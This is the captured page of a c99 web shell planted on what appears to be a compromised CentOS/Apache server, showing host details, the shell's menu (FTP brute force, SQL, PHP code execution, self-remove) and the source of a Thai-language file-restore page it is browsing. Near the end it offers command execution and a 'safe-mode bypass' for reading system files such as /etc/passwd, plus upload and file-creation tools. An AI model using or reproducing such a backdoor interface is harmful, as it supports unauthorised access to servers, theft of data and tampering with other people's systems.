!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/ums/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     restoreFile.php (6.81 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once("pagebody.php");
pageHeader();
?>
<?php
include_once("clsumfileupdate.php");
include_once("clsumfileupdatetemp.php");
include_once("lib/nusoap/nusoap.php");
include_once("lib/nusoap/globalversion.php");
include_once("lib/nusoap/funct.php");

confirmSubmit();		
openWindow();
autotab();

$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']);
$oFd = new umfileupdate($oC);
$oFdt=new umfileupdatetemp($oC);


$oFdt->RSFileUpdateTemp();
if($oFdt->GetRecord()==1){
	$oFdt->Delete();
}
 ?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<div align="center"><form name="ff" method="post" action="<?php echo $PHP_SELF; ?> " ><br>
		 <table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
				<tr>
                    <td height="22" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><a href="printFileUpdate.php?sort_show=<? echo $sort_show; ?>" target="_blank">[&nbsp;<img src="picture/search.gif" align="absmiddle" border="0"> ตรวจสอบเวอร์ชั่นปัจจุบัน ]</a>
					  </font></td>
                  </tr>
				
			</table>
	<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
	<tr>
		<td>
		<table width="100%" border="0" cellspacing="0" cellpadding="0">
		<tr>
		<td width="75%" align="right">&nbsp;</td>
		 <td width="25%"  height="26" align="right" background="picture/bgBio4.gif">
		<font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">
            <div align="right">เรียงลำดับตาม ::&nbsp;<select name="sort_show" onchange='return checksort();'>
                        <option value="0" <? if($sort_show=="0"){   echo "selected";  }?>>เวลาที่อัพเดท</option>
                        <option value="1" <? if($sort_show=="1"){   echo "selected";  }?>>ตัวอักษร</option>
                      </select>&nbsp;</div></font></td>			  
			</tr>
			<tr bgcolor="<?php echo $GLOBALS["bg3"];?>"> 
              <td colspan="8" align="center"><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>การอัพเดทโปรแกรม</strong></font></td>
            </tr>
			<tr><td colspan="2">
          <table width="100%" border="1" cellspacing="0" cellpadding="0" bordercolor="#CCCCCC">
            <tr bgcolor="<?php echo $GLOBALS["bg2"];?>">
			 <td width="5%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>restore</strong>
                </font></td>
              <td width="10%"   height="17" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>วันที่อัพเดท</strong></font></td>
              <td width="10%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>เวลาอัพเดท</strong></font></td>
              <td width="36%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ชื่อไฟล์ (Version)</strong></font></td>
              <td width="3%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>&nbsp;</strong>
                </font></td>
				
              <td width="23%"   align="center" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>Path</strong> 
                </font></td>
              <td width="12%"  align="center" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>รายละเอียด<br>การเปลี่ยนแปลง</strong> 
                </font></td>
            </tr>
            <?    $i=0;
			if($sort_show=="0" || $sort_show==""){
					$oFd->RSFileUpdatenotuse();
			}else{
					$oFd->RSFileUpdatenotuseordertext();
			}
		while($oFd->GetRecord()){
			if(($i%2) == 0)
									      echo "<tr>";
								    else
								          echo "<tr bgcolor=\"#F0F8FF\">";
?>
              <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd->flaguse=="N"){  ?>
					<a href="processRestoreFile.php?fileId=<?php echo $oFd->fileId;?>&method=restore" onClick='return confirmSubmit("คุณต้องการ restore โปรแกรมแน่นอนใช่หรือไม่ ?")'>
					<img src="picture/redo.gif"  align="absmiddle" border="0"></a>
				<? }?>
                </font></td>
				<td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo abbreDate2($oFd->updateDate); ?></font></td>
              <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd->updatetime; ?></font></td>
              <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? if($oFd->filename2==""){ echo $oFd->filename1; }else{ echo $oFd->filename2; }?></font></td>
              <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd->flagfile=="1"){ echo "C"; }else if($oFd->flagfile=="2"){ echo "E"; }else{  echo "D";  }  ?>
                </font></td>
				
              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd->path;  ?> 
                </font></td>
              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd->detail==""){  echo "-&nbsp;(ลบไฟล์)" ; }else{  echo $oFd->detail;  } ?> </font>
               </td>
            </tr>
            <?  $i++;  } 
		
				if($i == 0){
?>
            <tr> 
              <td colspan="8" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
            </tr>
            <?php
						}else{  ?>
            <tr> 
              <td colspan="8" align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <a href="printAllUpdate.php?sort_show=<? echo $sort_show; ?>" target="_blank">[&nbsp;<img src="picture/search.gif" align="absmiddle" border="0">&nbsp;ดูประวัติการอัพเดทโปรแกรมทั้งหมด&nbsp;]</a></font></td>
            </tr>
            <? }?>

          </table></td></tr></table>
       
		
			</td>
	</tr>
</table></form>
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0"><tr><td>
<font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"> <b>หมายเหตุ 
      : </b>&nbsp;<br>
      ประเภทของไฟล์ :: C หมายถึงไฟล์ที่สร้างใหม่<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
	  E หมายถึงไฟล์ที่แก้ไข<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
	  D หมายถึงไฟล์ที่ถูกลบ<br> 
</font></td></tr></table>
<!--------------------------------------------------------------------->
<?php pageFooter(); ?>
<!--------------------------------------------------------------------->
  <script>
function checksort(){
	document.ff.submit();
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.006 ]--